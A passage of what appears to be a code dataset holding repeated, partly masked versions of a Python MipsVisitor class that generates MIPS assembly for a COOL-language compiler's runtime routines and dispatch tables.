_end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.VCall)\n def visit(self, node: cil.VCall):\n self.write_file('# VCALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n if node.ttype[0] == '_':\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n else:\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n self.write_file(f'mulu $a2, $a2, 8')\n self.write_file(f'addu $a2, $a2, $s0')\n self.write_file(f'lw $a1, 0($a2)')\n self.write_file(f'lw $a2, 8($a1)')\n self.write_file(f'lw $a0 {node.f * 4}($a2)')\n self.write_file(f'jalr $a0')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n if node.ttype[0] != '_':\n self.write_file(f'li $a2, {self.type_index.index(node.ttype)}')\n else:\n self.write_file(f'lw $a2, {self.offset[node.ttype]}($fp)')\n self.write_file('')\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 $a2')\n self.write_file(f'subu $t7 $t7 $a1')\n self.write_file(f'sw $t7 12($t0)')\n self.allocate_memory('$a2', register=True)\n self.write_file(f'sw $t0 12($v1)')\n self.write_file(f'sw $v0 16($v1)')\n self.write_file('move $t1 $v0')\n self.write_file('lw $t5 16($t5)')\n self.write_file('move $t4 $t5')\n self.write_file('addu $t4 $t4 $a1')\n self.write_file('addu $t5 $t5 $a2')\n self.write_file('_substr_copy_:', tabbed=False)\n self.write_file('bge $t4 $t5 _end_substr_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t1)')\n self.write_file('addiu $t1 $t1 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _substr_copy_')\n self.write_file(f'_index_negative:', tabbed=False)\n self.write_file(f'la $a0 _index_negative_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_index_out:', tabbed=False)\n self.write_file(f'la $a0 _index_out_msg')\n self.write_file(f'b _subst_abort')\n self.write_file(f'_subst_abort:', tabbed=False)\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file('la\\t$a0 _abort_msg')\n self.write_file(f'li $v0 4')\n self.write_file(f'syscall')\n self.write_file(f'li $v0 10')\n self.write_file(f'syscall')\n self.write_file('_end_substr_copy_:', tabbed=False)\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n\n def io_out_int(self):\n self.write_file('function_IO_out_int:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 16($fp)')\n self.write_file('lw $a0 12($a0)')\n self.write_file('li $v0 1')\n self.write_file('syscall')\n self.write_file('lw $v0 12($fp)')\n self.write_file('jr $ra')\n self.write_file('')\n <function token>\n <function token>\n <function token>\n",
"<docstring token>\n<import token>\n<code token>\n<import token>\n\n\nclass MipsVisitor:\n <docstring token>\n\n def __init__(self, inherit_graph, output_file='mips_code.mips'):\n self.inherit_graph, _ = inherit_graph\n self.offset = dict()\n self.type_index = []\n self.dispatchtable_code = []\n self.prototypes_code = []\n self.cur_labels_id = 0\n self.output_file = output_file\n <function token>\n <function token>\n\n def write_file(self, msg, mode='a', tabbed=True):\n f = open(self.output_file, mode)\n f.write('{}{}\\n'.format('\\t' if tabbed else '', msg))\n f.close()\n\n def allocate_memory(self, size=None, register=False):\n if register:\n self.write_file('move $a0 {}'.format(size))\n elif size:\n self.write_file('li $a0 {}'.format(size))\n self.write_file('li $v0 9')\n self.write_file('syscall')\n <function token>\n <function token>\n\n @visitor.when(cil.Program)\n def visit(self, node: cil.Program):\n self.write_file('', 'w')\n self.write_file('.data', tabbed=False)\n self.static_datas()\n for data in node.data_section:\n self.visit(data)\n self.write_file('')\n for i in range(len(node.type_section)):\n self.type_index.append(node.type_section[i].type_name)\n self.write_file('classname_{}: .asciiz \"{}\"'.format(node.\n type_section[i].type_name, node.type_section[i].type_name))\n self.write_file(f'{VOID_MIPS_NAME}: .asciiz \"\"')\n self.write_file('\\n.text')\n self.entry()\n self.write_file('\\n########## STATIC FUNCTIONS ##########\\n')\n self.conforms()\n self.isvoid()\n self.object_abort()\n self.object_copy()\n self.object_typename()\n self.string_length()\n self.string_concat()\n self.string_substr()\n self.io_in_int()\n self.io_in_string()\n self.io_out_int()\n self.io_out_string()\n for t in node.type_section:\n self.visit(t)\n self.write_file('\\n############## TABLES ################\\n')\n self.write_file('function_build_class_name_table:', tabbed=False)\n self.allocate_memory(len(node.type_section) * 4)\n self.write_file('move $s1 $v0')\n for i in range(len(node.type_section)):\n self.write_file('la $t1 classname_{}'.format(node.type_section[\n i].type_name))\n self.write_file('sw $t1 {}($s1)'.format(4 * i))\n self.write_file('')\n self.write_file('function_allocate_prototypes_table:', tabbed=False)\n self.allocate_memory(8 * len(self.type_index))\n self.write_file('move $s0 $v0')\n self.write_file('')\n self.write_file('function_build_prototypes:', tabbed=False)\n for ins in self.prototypes_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_dispatch_tables:', tabbed=False)\n for ins in self.dispatchtable_code:\n self.write_file(ins)\n self.write_file('')\n self.write_file('function_build_class_parents_table:', tabbed=False)\n self.allocate_memory(4 * len(self.type_index))\n self.write_file('move $s2 $v0')\n self.write_file('')\n for parent in self.inherit_graph.keys():\n p_index = self.type_index.index(parent)\n for child in self.inherit_graph[parent]:\n ch_index = self.type_index.index(child.name)\n self.write_file(f'li $t0 {ch_index}')\n self.write_file(f'mul $t0 $t0 4')\n self.write_file(f'add $t0 $t0 $s2')\n self.write_file(f'li $t1 {p_index}')\n self.write_file(f'sw $t1 0($t0)')\n self.write_file('')\n self.write_file('')\n self.write_file('\\n########### COOL FUNCTIONS ##########\\n')\n for func in node.code_section:\n is_built_in = False\n if not INIT_CIL_SUFFIX in func.name:\n is_built_in = [x for x in BUILT_IN_CLASSES if f'{x}_' in\n func.name] != []\n if not is_built_in:\n self.visit(func)\n self.write_file('\\n#####################################\\n')\n <function token>\n\n @visitor.when(cil.Type)\n def visit(self, node: cil.Type):\n self.dispatchtable_code.append(f'# Type {node.type_name}')\n self.dispatchtable_code.append('li $a0 {}'.format(4 * len(node.\n methods)))\n self.dispatchtable_code.append('li $v0 9')\n self.dispatchtable_code.append('syscall')\n for i in range(len(node.methods)):\n self.dispatchtable_code.append('la $t1 function_{}'.format(node\n .methods[i].function_name))\n self.dispatchtable_code.append('sw $t1 {}($v0)'.format(4 * i))\n self.dispatchtable_code.append('lw $t0 {}($s0)'.format(8 * self.\n type_index.index(node.type_name)))\n self.dispatchtable_code.append('sw $v0 8($t0)')\n self.dispatchtable_code.append('')\n self.prototypes_code.append(f'# Type {node.type_name}')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('li $v0 9')\n self.prototypes_code.append('syscall')\n class_index = self.type_index.index(node.type_name)\n self.prototypes_code.append('li $a0 {}'.format(class_index))\n self.prototypes_code.append('sw $a0 0($v0)')\n self.prototypes_code.append('li $a0 {}'.format(12 + 4 * len(node.\n attributes)))\n self.prototypes_code.append('sw $a0 4($v0)')\n self.prototypes_code.append('sw $v0 {}($s0)'.format(8 * class_index))\n self.prototypes_code.append('')\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n @visitor.when(cil.EqualOrLessThan)\n def visit(self, node: cil.EqualOrLessThan):\n self.write_file('# <=')\n self.write_file('lw $a1, {}($fp)'.format(self.offset[node.left]))\n self.write_file('lw $a2, {}($fp)'.format(self.offset[node.right]))\n self.write_file('sle $a0, $a1, $a2'.format(self.offset[node.right]))\n self.write_file('sw $a0, {}($fp)'.format(self.offset[node.dest]))\n self.write_file('')\n <function token>\n\n @visitor.when(cil.SetAttrib)\n def visit(self, node: cil.SetAttrib):\n self.write_file('# SETATTR')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n if isinstance(node.src, int):\n self.write_file(f'li $a0, {node.src}')\n elif node.src[:5] == 'data_':\n self.write_file(f'la $a0, {node.src}')\n else:\n self.write_file(f'lw $a0 {self.offset[node.src]}($fp)')\n self.write_file(f'sw $a0 {12 + 4 * node.attribute}($a1)')\n self.write_file('')\n\n @visitor.when(cil.TypeOf)\n def visit(self, node: cil.TypeOf):\n self.write_file('# TYPEOF')\n self.write_file(f'lw $a1 {self.offset[node.instance]}($fp)')\n self.write_file(f'lw $a0 0($a1)')\n self.write_file(f'sw $a0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.Call)\n def visit(self, node: cil.Call):\n self.write_file('# CALL')\n self.write_file(f'addiu $sp, $sp, -8')\n self.write_file(f'sw $ra, 4($sp)')\n self.write_file(f'sw $fp, 8($sp)')\n self.write_file(f'jal function_{node.f}')\n self.write_file(f'lw $fp, 8($sp)')\n self.write_file(f'lw $ra, 4($sp)')\n self.write_file(f'addiu $sp, $sp, 8')\n if node.dest:\n self.write_file(f'sw $v0 {self.offset[node.dest]}($fp)')\n self.write_file('')\n <function token>\n\n @visitor.when(cil.PushParam)\n def visit(self, node: cil.PushParam):\n self.write_file('# PUSHPARAM')\n if node.name[0] != '_':\n self.write_file('li $a0, {}'.format(self.type_index.index(node.\n name)))\n else:\n self.write_file('lw $a0, {}($fp)'.format(self.offset[node.name]))\n self.push()\n self.write_file('')\n\n @visitor.when(cil.PopParam)\n def visit(self, node: cil.PopParam):\n self.write_file('# POPPARAM')\n self.pop(node.name)\n self.write_file('')\n\n @visitor.when(cil.Return)\n def visit(self, node: cil.Return):\n self.write_file('# RETURN')\n self.write_file('lw $v0, {}($fp)'.format(self.offset[node.value]))\n\n @visitor.when(cil.Label)\n def visit(self, node: cil.Label):\n self.write_file('_cil_label_{}:'.format(node.name), tabbed=False)\n <function token>\n <function token>\n <function token>\n <function token>\n <function token>\n\n def object_copy(self):\n self.write_file('function_Object_copy:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $t0 12($fp)')\n self.write_file('lw $a0 4($t0)')\n self.write_file('move $t4 $a0')\n self.write_file('li $v0 9')\n self.write_file('syscall')\n self.write_file('move $t2 $v0')\n self.write_file('li $t3 0')\n self.write_file('_objcopy_loop:', tabbed=False)\n self.write_file('lw $t1 0($t0)')\n self.write_file('sw $t1 0($v0)')\n self.write_file('addiu $t0 $t0 4')\n self.write_file('addiu $v0 $v0 4')\n self.write_file('addiu $t3 $t3 4')\n self.write_file('ble $t4 $t3 _objcopy_loop')\n self.write_file('_objcopy_div_end_:', tabbed=False)\n self.write_file('move $v0 $t2')\n self.write_file('jr $ra')\n self.write_file('')\n\n def object_typename(self):\n self.write_file('function_Object_type_name:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a1 0($a1)')\n self.write_file('mulu $a1 $a1 4')\n self.write_file('addu $a1 $a1 $s1')\n self.write_file('lw $a1 0($a1)')\n self.write_file('move $a2 $0')\n self.write_file('move $t2 $a1')\n self.write_file('_str_len_clsname_:', tabbed=False)\n self.write_file('lb $a0 0($t2)')\n self.write_file('beq $a0 $0 _end_clsname_len_')\n self.write_file('addiu $a2 $a2 1')\n self.write_file('addiu $t2 $t2 1')\n self.write_file('j _str_len_clsname_')\n self.write_file('_end_clsname_len_:', tabbed=False)\n self.write_file('sw $a2, 12($v0)')\n self.write_file('sw $v0, 12($v1)')\n self.write_file('sw $a1, 16($v1)')\n self.write_file('move $v0 $v1')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_length(self):\n self.write_file('function_String_length:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file('lw $a0 12($fp)')\n self.write_file('lw $v0 12($a0)')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_concat(self):\n self.write_file('function_String_concat:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file('move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file('move $t3 $v0')\n self.write_file('lw $a1 12($fp)')\n self.write_file('lw $a2 16($fp)')\n self.write_file('lw $t1 12($a1)')\n self.write_file('lw $t1 12($t1)')\n self.write_file('lw $t2 12($a2)')\n self.write_file('lw $t2 12($t2)')\n self.write_file('addu $t0 $t2 $t1')\n self.write_file('sw $t0 12($v1)')\n self.write_file('lw $a1 16($a1)')\n self.write_file('lw $a2 16($a2)')\n self.write_file('addiu $t0 $t0 1')\n self.allocate_memory('$t0', register=True)\n self.write_file('move $t5 $v0')\n self.write_file('move $t4 $a1')\n self.write_file('addu $a1 $a1 $t1')\n self.write_file('_strcat_copy_:', tabbed=False)\n self.write_file('beq $t4 $a1 _end_strcat_copy_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_')\n self.write_file('_end_strcat_copy_:', tabbed=False)\n self.write_file('move $t4 $a2')\n self.write_file('addu $a2 $a2 $t2')\n self.write_file('_strcat_copy_snd_:', tabbed=False)\n self.write_file('beq $t4 $a2 _end_strcat_copy_snd_')\n self.write_file('lb $a0 0($t4)')\n self.write_file('sb $a0 0($t5)')\n self.write_file('addiu $t5 $t5 1')\n self.write_file('addiu $t4 $t4 1')\n self.write_file('j _strcat_copy_snd_')\n self.write_file('_end_strcat_copy_snd_:', tabbed=False)\n self.write_file('sb $0 0($t5)')\n self.write_file('sw $v1 12($t3)')\n self.write_file('sw $v0 16($t3)')\n self.write_file('move $v0 $t3')\n self.write_file('jr $ra')\n self.write_file('')\n\n def string_substr(self):\n self.write_file('function_String_substr:', tabbed=False)\n self.write_file(f'move $fp, $sp')\n self.write_file(f'lw $t5 12($fp)')\n self.write_file(f'lw $a1 16($fp)')\n self.write_file(f'lw $a1 12($a1)')\n self.write_file(f'lw $a2 20($fp)')\n self.write_file(f'lw $a2 12($a2)')\n self.write_file(f'blt $a1 $0 _index_negative')\n self.write_file(f'blt $a2 $0 _index_negative')\n self.write_file(f'add $a2 $a1 $a2')\n self.write_file(f'lw $a3 12($t5)')\n self.write_file(f'lw $a3 12($a3)')\n self.write_file(f'bgt $a2 $a3 _index_out')\n self.visit(cil.Allocate(dest=None, ttype=STRING_CLASS))\n self.write_file(f'move $v1 $v0')\n self.visit(cil.Allocate(dest=None, ttype=INTEGER_CLASS))\n self.write_file(f'move $t0 $v0')\n self.write_file(f'move $t7 